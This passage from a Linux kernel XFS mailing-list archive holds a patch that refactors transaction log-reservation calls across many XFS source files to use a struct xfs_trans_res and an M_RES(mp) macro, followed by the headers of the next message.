XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + resblks, resrtextents); /* * Check for running out of space */ @@ -1378,12 +1374,7 @@ xfs_free_file_space( */ tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); tp->t_flags |= XFS_TRANS_RESERVE; - error = xfs_trans_reserve(tp, - resblks, - XFS_WRITE_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, resblks, 0); /* * check for running out of space @@ -1657,10 +1648,8 @@ xfs_change_file_space( * update the inode timestamp, mode, and prealloc flag bits */ tp = xfs_trans_alloc(mp, XFS_TRANS_WRITEID); - - if ((error = xfs_trans_reserve(tp, 0, XFS_WRITEID_LOG_RES(mp), - 0, 0, 0))) { - /* ASSERT(0); */ + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_writeid, 0, 0); + if (error) { xfs_trans_cancel(tp, 0); return error; } @@ -1905,9 +1894,8 @@ xfs_swap_extents( truncate_pagecache_range(VFS_I(ip), 0, -1); tp = xfs_trans_alloc(mp, XFS_TRANS_SWAPEXT); - if ((error = xfs_trans_reserve(tp, 0, - XFS_ICHANGE_LOG_RES(mp), 0, - 0, 0))) { + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); + if (error) { xfs_iunlock(ip, XFS_IOLOCK_EXCL); xfs_iunlock(tip, XFS_IOLOCK_EXCL); xfs_trans_cancel(tp, 0); diff --git a/fs/xfs/xfs_dquot.c b/fs/xfs/xfs_dquot.c index e90e123..251c666 100644 --- a/fs/xfs/xfs_dquot.c +++ b/fs/xfs/xfs_dquot.c @@ -712,10 +712,8 @@ xfs_qm_dqread( if (flags & XFS_QMOPT_DQALLOC) { tp = xfs_trans_alloc(mp, XFS_TRANS_QM_DQALLOC); - error = xfs_trans_reserve(tp, XFS_QM_DQALLOC_SPACE_RES(mp), - XFS_QM_DQALLOC_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_attrsetm, + XFS_QM_DQALLOC_SPACE_RES(mp), 0); if (error) goto error1; cancelflags = XFS_TRANS_RELEASE_LOG_RES; diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 614eb0c..e64ee52 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -203,8 +203,9 @@ xfs_growfs_data_private( tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFS); tp->t_flags |= XFS_TRANS_RESERVE; - if ((error = xfs_trans_reserve(tp, XFS_GROWFS_SPACE_RES(mp), - XFS_GROWDATA_LOG_RES(mp), 0, 0, 0))) { + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, + XFS_GROWFS_SPACE_RES(mp), 0); + if (error) { xfs_trans_cancel(tp, 0); return error; } @@ -739,8 +740,7 @@ xfs_fs_log_dummy( int error; tp = _xfs_trans_alloc(mp, XFS_TRANS_DUMMY1, KM_SLEEP); - error = xfs_trans_reserve(tp, 0, XFS_SB_LOG_RES(mp), 0, 0, - XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_sb, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; diff --git a/fs/xfs/xfs_inode.c b/fs/xfs/xfs_inode.c index 9db5be7..023f5ea 100644 --- a/fs/xfs/xfs_inode.c +++ b/fs/xfs/xfs_inode.c @@ -892,8 +892,6 @@ xfs_dir_ialloc( xfs_inode_t *ip; xfs_buf_t *ialloc_context = NULL; int code; - uint log_res; - uint log_count; void *dqinfo; uint tflags; @@ -939,6 +937,8 @@ xfs_dir_ialloc( * to succeed the second time. */ if (ialloc_context) { + struct xfs_trans_res tres; + /* * Normally, xfs_trans_commit releases all the locks. * We call bhold to hang on to the ialloc_context across @@ -951,8 +951,8 @@ xfs_dir_ialloc( * Save the log reservation so we can use * them in the next transaction. */ - log_res = xfs_trans_get_log_res(tp); - log_count = xfs_trans_get_log_count(tp); + tres.tr_logres = xfs_trans_get_log_res(tp); + tres.tr_logcount = xfs_trans_get_log_count(tp); /* * We want the quota changes to be associated with the next @@ -995,8 +995,9 @@ xfs_dir_ialloc( * reference that we gained in xfs_trans_dup() */ xfs_log_ticket_put(tp->t_ticket); - code = xfs_trans_reserve(tp, 0, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + code = xfs_trans_reserve(tp, &tres, 0, 0); + /* * Re-attach the quota info that we detached from prev trx. */ @@ -1161,9 +1162,8 @@ xfs_create( struct xfs_dquot *udqp = NULL; struct xfs_dquot *gdqp = NULL; struct xfs_dquot *pdqp = NULL; + struct xfs_trans_res tres; uint resblks; - uint log_res; - uint log_count; trace_xfs_create(dp, name); @@ -1187,13 +1187,13 @@ xfs_create( if (is_dir) { rdev = 0; resblks = XFS_MKDIR_SPACE_RES(mp, name->len); - log_res = XFS_MKDIR_LOG_RES(mp); - log_count = XFS_MKDIR_LOG_COUNT; + tres.tr_logres = M_RES(mp)->tr_mkdir.tr_logres; + tres.tr_logcount = XFS_MKDIR_LOG_COUNT; tp = xfs_trans_alloc(mp, XFS_TRANS_MKDIR); } else { resblks = XFS_CREATE_SPACE_RES(mp, name->len); - log_res = XFS_CREATE_LOG_RES(mp); - log_count = XFS_CREATE_LOG_COUNT; + tres.tr_logres = M_RES(mp)->tr_create.tr_logres; + tres.tr_logcount = XFS_CREATE_LOG_COUNT; tp = xfs_trans_alloc(mp, XFS_TRANS_CREATE); } @@ -1205,19 +1205,17 @@ xfs_create( * the case we'll drop the one we have and get a more * appropriate transaction later. */ - error = xfs_trans_reserve(tp, resblks, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(tp, &tres, resblks, 0); if (error == ENOSPC) { /* flush outstanding delalloc blocks and retry */ xfs_flush_inodes(mp); - error = xfs_trans_reserve(tp, resblks, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); + error = xfs_trans_reserve(tp, &tres, resblks, 0); } if (error == ENOSPC) { /* No space at all so try a "no-allocation" reservation */ resblks = 0; - error = xfs_trans_reserve(tp, 0, log_res, 0, - XFS_TRANS_PERM_LOG_RES, log_count); + error = xfs_trans_reserve(tp, &tres, 0, 0); } if (error) { cancel_flags = 0; @@ -1370,12 +1368,10 @@ xfs_link( tp = xfs_trans_alloc(mp, XFS_TRANS_LINK); cancel_flags = XFS_TRANS_RELEASE_LOG_RES; resblks = XFS_LINK_SPACE_RES(mp, target_name->len); - error = xfs_trans_reserve(tp, resblks, XFS_LINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_link, resblks, 0); if (error == ENOSPC) { resblks = 0; - error = xfs_trans_reserve(tp, 0, XFS_LINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_LINK_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_link, 0, 0); } if (error) { cancel_flags = 0; @@ -1550,10 +1546,7 @@ xfs_itruncate_extents( * reference that we gained in xfs_trans_dup() */ xfs_log_ticket_put(tp->t_ticket); - error = xfs_trans_reserve(tp, 0, - XFS_ITRUNCATE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) goto out; } @@ -1679,13 +1672,14 @@ int xfs_inactive( xfs_inode_t *ip) { - xfs_bmap_free_t free_list; - xfs_fsblock_t first_block; - int committed; - xfs_trans_t *tp; - xfs_mount_t *mp; - int error; - int truncate = 0; + xfs_bmap_free_t free_list; + xfs_fsblock_t first_block; + int committed; + struct xfs_trans *tp; + struct xfs_mount *mp; + struct xfs_trans_res *resp; + int error; + int truncate = 0; /* * If the inode is already free, then there can be nothing @@ -1729,13 +1723,10 @@ xfs_inactive( return VN_INACTIVE_CACHE; tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, 0, - (truncate || S_ISLNK(ip->i_d.di_mode)) ? - XFS_ITRUNCATE_LOG_RES(mp) : - XFS_IFREE_LOG_RES(mp), - 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); + resp = (truncate || S_ISLNK(ip->i_d.di_mode)) ? + &M_RES(mp)->tr_itruncate : &M_RES(mp)->tr_ifree; + + error = xfs_trans_reserve(tp, resp, 0, 0); if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); xfs_trans_cancel(tp, 0); @@ -1780,10 +1771,7 @@ xfs_inactive( goto out; tp = xfs_trans_alloc(mp, XFS_TRANS_INACTIVE); - error = xfs_trans_reserve(tp, 0, - XFS_IFREE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_INACTIVE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ifree, 0, 0); if (error) { xfs_trans_cancel(tp, 0); goto out; @@ -2430,12 +2418,10 @@ xfs_remove( * block from the directory. */ resblks = XFS_REMOVE_SPACE_RES(mp); - error = xfs_trans_reserve(tp, resblks, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, log_count); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_remove, resblks, 0); if (error == ENOSPC) { resblks = 0; - error = xfs_trans_reserve(tp, 0, XFS_REMOVE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, log_count); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_remove, 0, 0); } if (error) { ASSERT(error != ENOSPC); @@ -2630,12 +2616,10 @@ xfs_rename( tp = xfs_trans_alloc(mp, XFS_TRANS_RENAME); cancel_flags = XFS_TRANS_RELEASE_LOG_RES; spaceres = XFS_RENAME_SPACE_RES(mp, target_name->len); - error = xfs_trans_reserve(tp, spaceres, XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_rename, spaceres, 0); if (error == ENOSPC) { spaceres = 0; - error = xfs_trans_reserve(tp, 0, XFS_RENAME_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_RENAME_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_rename, 0, 0); } if (error) { xfs_trans_cancel(tp, 0); diff --git a/fs/xfs/xfs_ioctl.c b/fs/xfs/xfs_ioctl.c index efb216d..e9c17e2 100644 --- a/fs/xfs/xfs_ioctl.c +++ b/fs/xfs/xfs_ioctl.c @@ -367,7 +367,7 @@ xfs_set_dmattrs( return XFS_ERROR(EIO); tp = xfs_trans_alloc(mp, XFS_TRANS_SET_DMATTRS); - error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES (mp), 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; @@ -1001,7 +1001,7 @@ xfs_ioctl_setattr( * first do an error checking pass. */ tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); - code = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES(mp), 0, 0, 0); + code = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); if (code) goto error_return; diff --git a/fs/xfs/xfs_iomap.c b/fs/xfs/xfs_iomap.c index cf8f744..8d4d49b 100644 --- a/fs/xfs/xfs_iomap.c +++ b/fs/xfs/xfs_iomap.c @@ -188,10 +188,8 @@ xfs_iomap_write_direct( * Allocate and setup the transaction */ tp = xfs_trans_alloc(mp, XFS_TRANS_DIOSTRAT); - error = xfs_trans_reserve(tp, resblks, - XFS_WRITE_LOG_RES(mp), resrtextents, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + resblks, resrtextents); /* * Check for running out of space, note: need lock to return */ @@ -699,10 +697,8 @@ xfs_iomap_write_allocate( tp = xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE); tp->t_flags |= XFS_TRANS_RESERVE; nres = XFS_EXTENTADD_SPACE_RES(mp, XFS_DATA_FORK); - error = xfs_trans_reserve(tp, nres, - XFS_WRITE_LOG_RES(mp), - 0, XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + nres, 0); if (error) { xfs_trans_cancel(tp, 0); return XFS_ERROR(error); @@ -865,10 +861,8 @@ xfs_iomap_write_unwritten( sb_start_intwrite(mp->m_super); tp = _xfs_trans_alloc(mp, XFS_TRANS_STRAT_WRITE, KM_NOFS); tp->t_flags |= XFS_TRANS_RESERVE | XFS_TRANS_FREEZE_PROT; - error = xfs_trans_reserve(tp, resblks, - XFS_WRITE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_WRITE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_write, + resblks, 0); if (error) { xfs_trans_cancel(tp, 0); return XFS_ERROR(error); diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 24be68d..82c5a5d 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -546,7 +546,7 @@ xfs_setattr_nonsize( } tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_NOT_SIZE); - error = xfs_trans_reserve(tp, 0, XFS_ICHANGE_LOG_RES(mp), 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_ichange, 0, 0); if (error) goto out_dqrele; @@ -808,9 +808,7 @@ xfs_setattr_size( goto out_unlock; tp = xfs_trans_alloc(mp, XFS_TRANS_SETATTR_SIZE); - error = xfs_trans_reserve(tp, 0, XFS_ITRUNCATE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) goto out_trans_cancel; @@ -933,7 +931,7 @@ xfs_vn_update_time( trace_xfs_update_time(ip); tp = xfs_trans_alloc(mp, XFS_TRANS_FSYNC_TS); - error = xfs_trans_reserve(tp, 0, XFS_FSYNC_TS_LOG_RES(mp), 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_fsyncts, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return -error; diff --git a/fs/xfs/xfs_log_recover.c b/fs/xfs/xfs_log_recover.c index 0771fa3..10a9a5e 100644 --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3368,7 +3368,7 @@ xlog_recover_process_efi( } tp = xfs_trans_alloc(mp, 0); - error = xfs_trans_reserve(tp, 0, XFS_ITRUNCATE_LOG_RES(mp), 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) goto abort_error; efdp = xfs_trans_get_efd(tp, efip, efip->efi_format.efi_nextents); @@ -3474,8 +3474,7 @@ xlog_recover_clear_agi_bucket( int error; tp = xfs_trans_alloc(mp, XFS_TRANS_CLEAR_AGI_BUCKET); - error = xfs_trans_reserve(tp, 0, XFS_CLEAR_AGI_BUCKET_LOG_RES(mp), - 0, 0, 0); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_clearagi, 0, 0); if (error) goto out_abort; diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 7a02d66..174b5b4 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -596,8 +596,7 @@ xfs_mount_reset_sbqflags( return 0; tp = xfs_trans_alloc(mp, XFS_TRANS_QM_SBCHANGE); - error = xfs_trans_reserve(tp, 0, XFS_QM_SBCHANGE_LOG_RES(mp), - 0, 0, XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_sbchange, 0, 0); if (error) { xfs_trans_cancel(tp, 0); xfs_alert(mp, "%s: Superblock update failed!", __func__); @@ -1070,8 +1069,7 @@ xfs_log_sbcount(xfs_mount_t *mp) return 0; tp = _xfs_trans_alloc(mp, XFS_TRANS_SB_COUNT, KM_SLEEP); - error = xfs_trans_reserve(tp, 0, XFS_SB_LOG_RES(mp), 0, 0, - XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_sb, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; @@ -1391,8 +1389,7 @@ xfs_mount_log_sb( XFS_SB_VERSIONNUM)); tp = xfs_trans_alloc(mp, XFS_TRANS_SB_UNIT); - error = xfs_trans_reserve(tp, 0, XFS_SB_LOG_RES(mp), 0, 0, - XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_sb, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; diff --git a/fs/xfs/xfs_qm.c b/fs/xfs/xfs_qm.c index 6432ebb..9c8854c 100644 --- a/fs/xfs/xfs_qm.c +++ b/fs/xfs/xfs_qm.c @@ -835,11 +835,9 @@ xfs_qm_qino_alloc( int committed; tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QINOCREATE); - if ((error = xfs_trans_reserve(tp, - XFS_QM_QINOCREATE_SPACE_RES(mp), - XFS_CREATE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_CREATE_LOG_COUNT))) { + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_create, + XFS_QM_QINOCREATE_SPACE_RES(mp), 0); + if (error) { xfs_trans_cancel(tp, 0); return error; } @@ -1704,8 +1702,7 @@ xfs_qm_write_sb_changes( int error; tp = xfs_trans_alloc(mp, XFS_TRANS_QM_SBCHANGE); - error = xfs_trans_reserve(tp, 0, XFS_QM_SBCHANGE_LOG_RES(mp), - 0, 0, XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_sbchange, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return error; diff --git a/fs/xfs/xfs_qm_syscalls.c b/fs/xfs/xfs_qm_syscalls.c index 40b06b5..5a892c2 100644 --- a/fs/xfs/xfs_qm_syscalls.c +++ b/fs/xfs/xfs_qm_syscalls.c @@ -247,9 +247,7 @@ xfs_qm_scall_trunc_qfile( xfs_ilock(ip, XFS_IOLOCK_EXCL); tp = xfs_trans_alloc(mp, XFS_TRANS_TRUNCATE_FILE); - error = xfs_trans_reserve(tp, 0, XFS_ITRUNCATE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_ITRUNCATE_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); if (error) { xfs_trans_cancel(tp, 0); xfs_iunlock(ip, XFS_IOLOCK_EXCL); @@ -515,8 +513,7 @@ xfs_qm_scall_setqlim( xfs_dqunlock(dqp); tp = xfs_trans_alloc(mp, XFS_TRANS_QM_SETQLIM); - error = xfs_trans_reserve(tp, 0, XFS_QM_SETQLIM_LOG_RES(mp), - 0, 0, XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_setqlim, 0, 0); if (error) { xfs_trans_cancel(tp, 0); goto out_rele; @@ -650,8 +647,7 @@ xfs_qm_log_quotaoff_end( tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QUOTAOFF_END); - error = xfs_trans_reserve(tp, 0, XFS_QM_QUOTAOFF_END_LOG_RES(mp), - 0, 0, XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_equotaoff, 0, 0); if (error) { xfs_trans_cancel(tp, 0); return (error); @@ -684,8 +680,7 @@ xfs_qm_log_quotaoff( uint oldsbqflag=0; tp = xfs_trans_alloc(mp, XFS_TRANS_QM_QUOTAOFF); - error = xfs_trans_reserve(tp, 0, XFS_QM_QUOTAOFF_LOG_RES(mp), - 0, 0, XFS_DEFAULT_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_qm_quotaoff, 0, 0); if (error) goto error0; diff --git a/fs/xfs/xfs_rtalloc.c b/fs/xfs/xfs_rtalloc.c index 6dbcb5e..6f9e63c 100644 --- a/fs/xfs/xfs_rtalloc.c +++ b/fs/xfs/xfs_rtalloc.c @@ -100,10 +100,9 @@ xfs_growfs_rt_alloc( /* * Reserve space & log for one extent added to the file. */ - if ((error = xfs_trans_reserve(tp, resblks, - XFS_GROWRTALLOC_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, - XFS_DEFAULT_PERM_LOG_COUNT))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growdata, + resblks, 0); + if (error) goto error_cancel; cancelflags = XFS_TRANS_RELEASE_LOG_RES; /* @@ -146,8 +145,9 @@ xfs_growfs_rt_alloc( /* * Reserve log for one block zeroing. */ - if ((error = xfs_trans_reserve(tp, 0, - XFS_GROWRTZERO_LOG_RES(mp), 0, 0, 0))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtzero, + 0, 0); + if (error) goto error_cancel; /* * Lock the bitmap inode. @@ -1957,8 +1957,9 @@ xfs_growfs_rt( * Start a transaction, get the log reservation. */ tp = xfs_trans_alloc(mp, XFS_TRANS_GROWFSRT_FREE); - if ((error = xfs_trans_reserve(tp, 0, - XFS_GROWRTFREE_LOG_RES(nmp), 0, 0, 0))) + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_growrtfree, + 0, 0); + if (error) goto error_cancel; /* * Lock out other callers by grabbing the bitmap inode lock. diff --git a/fs/xfs/xfs_symlink.c b/fs/xfs/xfs_symlink.c index e6facbf..7676fe3 100644 --- a/fs/xfs/xfs_symlink.c +++ b/fs/xfs/xfs_symlink.c @@ -231,12 +231,10 @@ xfs_symlink( else fs_blocks = xfs_symlink_blocks(mp, pathlen); resblks = XFS_SYMLINK_SPACE_RES(mp, link_name->len, fs_blocks); - error = xfs_trans_reserve(tp, resblks, XFS_SYMLINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_SYMLINK_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_symlink, resblks, 0); if (error == ENOSPC && fs_blocks == 0) { resblks = 0; - error = xfs_trans_reserve(tp, 0, XFS_SYMLINK_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_SYMLINK_LOG_COUNT); + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_symlink, 0, 0); } if (error) { cancel_flags = 0; @@ -539,8 +537,8 @@ xfs_inactive_symlink_rmt( * Put an itruncate log reservation in the new transaction * for our caller. */ - if ((error = xfs_trans_reserve(tp, 0, XFS_ITRUNCATE_LOG_RES(mp), 0, - XFS_TRANS_PERM_LOG_RES, XFS_ITRUNCATE_LOG_COUNT))) { + error = xfs_trans_reserve(tp, &M_RES(mp)->tr_itruncate, 0, 0); + if (error) { ASSERT(XFS_FORCED_SHUTDOWN(mp)); goto error0; } diff --git a/fs/xfs/xfs_trans.c b/fs/xfs/xfs_trans.c index e0f93f9..b986400 100644 --- a/fs/xfs/xfs_trans.c +++ b/fs/xfs/xfs_trans.c @@ -56,7 +56,7 @@ void xfs_trans_init( struct xfs_mount *mp) { - xfs_trans_resv_calc(mp, &mp->m_resv); + xfs_trans_resv_calc(mp, M_RES(mp)); } /* @@ -180,12 +180,10 @@ xfs_trans_dup( */ int xfs_trans_reserve( - xfs_trans_t *tp, - uint blocks, - uint logspace, - uint rtextents, - uint flags, - uint logcount) + struct xfs_trans *tp, + struct xfs_trans_res *resp, + uint blocks, + uint rtextents) { int error = 0; int rsvd = (tp->t_flags & XFS_TRANS_RESERVE) != 0; @@ -211,13 +209,15 @@ xfs_trans_reserve( /* * Reserve the log space needed for this transaction. */ - if (logspace > 0) { + if (resp->tr_logres > 0) { bool permanent = false; - ASSERT(tp->t_log_res == 0 || tp->t_log_res == logspace); - ASSERT(tp->t_log_count == 0 || tp->t_log_count == logcount); + ASSERT(tp->t_log_res == 0 || + tp->t_log_res == resp->tr_logres); + ASSERT(tp->t_log_count == 0 || + tp->t_log_count == resp->tr_logcount); - if (flags & XFS_TRANS_PERM_LOG_RES) { + if (resp->tr_logflags & XFS_TRANS_PERM_LOG_RES) { tp->t_flags |= XFS_TRANS_PERM_LOG_RES; permanent = true; } else { @@ -226,20 +226,21 @@ xfs_trans_reserve( } if (tp->t_ticket != NULL) { - ASSERT(flags & XFS_TRANS_PERM_LOG_RES); + ASSERT(resp->tr_logflags & XFS_TRANS_PERM_LOG_RES); error = xfs_log_regrant(tp->t_mountp, tp->t_ticket); } else { - error = xfs_log_reserve(tp->t_mountp, logspace, - logcount, &tp->t_ticket, - XFS_TRANSACTION, permanent, - tp->t_type); + error = xfs_log_reserve(tp->t_mountp, + resp->tr_logres, + resp->tr_logcount, + &tp->t_ticket, XFS_TRANSACTION, + permanent, tp->t_type); } if (error) goto undo_blocks; - tp->t_log_res = logspace; - tp->t_log_count = logcount; + tp->t_log_res = resp->tr_logres; + tp->t_log_count = resp->tr_logcount; } /* @@ -264,10 +265,10 @@ xfs_trans_reserve( * reservations which have already been performed. */ undo_log: - if (logspace > 0) { + if (resp->tr_logres > 0) { int log_flags; - if (flags & XFS_TRANS_PERM_LOG_RES) { + if (resp->tr_logflags & XFS_TRANS_PERM_LOG_RES) { log_flags = XFS_LOG_REL_PERM_RESERV; } else { log_flags = 0; @@ -1014,7 +1015,7 @@ xfs_trans_roll( struct xfs_inode *dp) { struct xfs_trans *trans; - unsigned int logres, count; + struct xfs_trans_res tres; int error; /* @@ -1026,8 +1027,8 @@ xfs_trans_roll( /* * Copy the critical parameters from one trans to the next. */ - logres = trans->t_log_res; - count = trans->t_log_count; + tres.tr_logres = trans->t_log_res; + tres.tr_logcount = trans->t_log_count; *tpp = xfs_trans_dup(trans); /* @@ -1058,8 +1059,8 @@ xfs_trans_roll( * across this call, or that anything that is locked be logged in * the prior and the next transactions. */ - error = xfs_trans_reserve(trans, 0, logres, 0, - XFS_TRANS_PERM_LOG_RES, count); + tres.tr_logflags = XFS_TRANS_PERM_LOG_RES; + error = xfs_trans_reserve(trans, &tres, 0, 0); /* * Ensure that the inode is in the new transaction and locked. */ diff --git a/fs/xfs/xfs_trans.h b/fs/xfs/xfs_trans.h index b5dc61e..7eb81cc 100644 --- a/fs/xfs/xfs_trans.h +++ b/fs/xfs/xfs_trans.h @@ -34,6 +34,7 @@ struct xfs_log_iovec; struct xfs_log_item_desc; struct xfs_mount; struct xfs_trans; +struct xfs_trans_res; struct xfs_dquot_acct; struct xfs_busy_extent; @@ -170,7 +171,7 @@ typedef struct xfs_trans { xfs_trans_t *xfs_trans_alloc(struct xfs_mount *, uint); xfs_trans_t *_xfs_trans_alloc(struct xfs_mount *, uint, xfs_km_flags_t); xfs_trans_t *xfs_trans_dup(xfs_trans_t *); -int xfs_trans_reserve(xfs_trans_t *, uint, uint, uint, +int xfs_trans_reserve(struct xfs_trans *, struct xfs_trans_res *, uint, uint); void xfs_trans_mod_sb(xfs_trans_t *, uint, int64_t); diff --git a/fs/xfs/xfs_trans_resv.c b/fs/xfs/xfs_trans_resv.c index e9211ad..24110f3 100644 --- a/fs/xfs/xfs_trans_resv.c +++ b/fs/xfs/xfs_trans_resv.c @@ -547,7 +547,8 @@ xfs_calc_attrsetm_reservation( * Since the runtime attribute transaction space is dependent on the total * blocks needed for the 1st bmap, here we calculate out the space unit for * one block so that the caller could figure out the total space according - * to the attibute extent length in blocks by: ext * XFS_ATTRSETRT_LOG_RES(mp). + * to the attibute extent length in blocks by: + * ext * M_RES(mp)->tr_attrsetrt.tr_logres */ STATIC uint xfs_calc_attrsetrt_reservation( @@ -619,14 +620,14 @@ xfs_calc_qm_setqlim_reservation( /* * Allocating quota on disk if needed. - * the write transaction log space: XFS_WRITE_LOG_RES(mp) + * the write transaction log space: M_RES(mp)->tr_write.tr_logres * the unit of quota allocation: one system block size */ STATIC uint xfs_calc_qm_dqalloc_reservation( struct xfs_mount *mp) { - return XFS_WRITE_LOG_RES(mp) + + return M_RES(mp)->tr_write.tr_logres + xfs_calc_buf_res(1, XFS_FSB_TO_B(mp, XFS_DQUOT_CLUSTER_SIZE_FSB) - 1); } diff --git a/fs/xfs/xfs_trans_resv.h b/fs/xfs/xfs_trans_resv.h index b8d5666..140d3f3 100644 --- a/fs/xfs/xfs_trans_resv.h +++ b/fs/xfs/xfs_trans_resv.h @@ -65,6 +65,9 @@ struct xfs_trans_resv { struct xfs_trans_res tr_fsyncts; /* update timestamps on fsync */ }; +/* shorthand way of accessing reservation structure */ +#define M_RES(mp) (&(mp)->m_resv) + /* * Per-extent log reservation for the allocation btree changes * involved in freeing or allocating an extent. -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:27:02 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F22697FCC for ; Fri, 19 Jul 2013 01:26:00 -0500 (CDT) Received: from 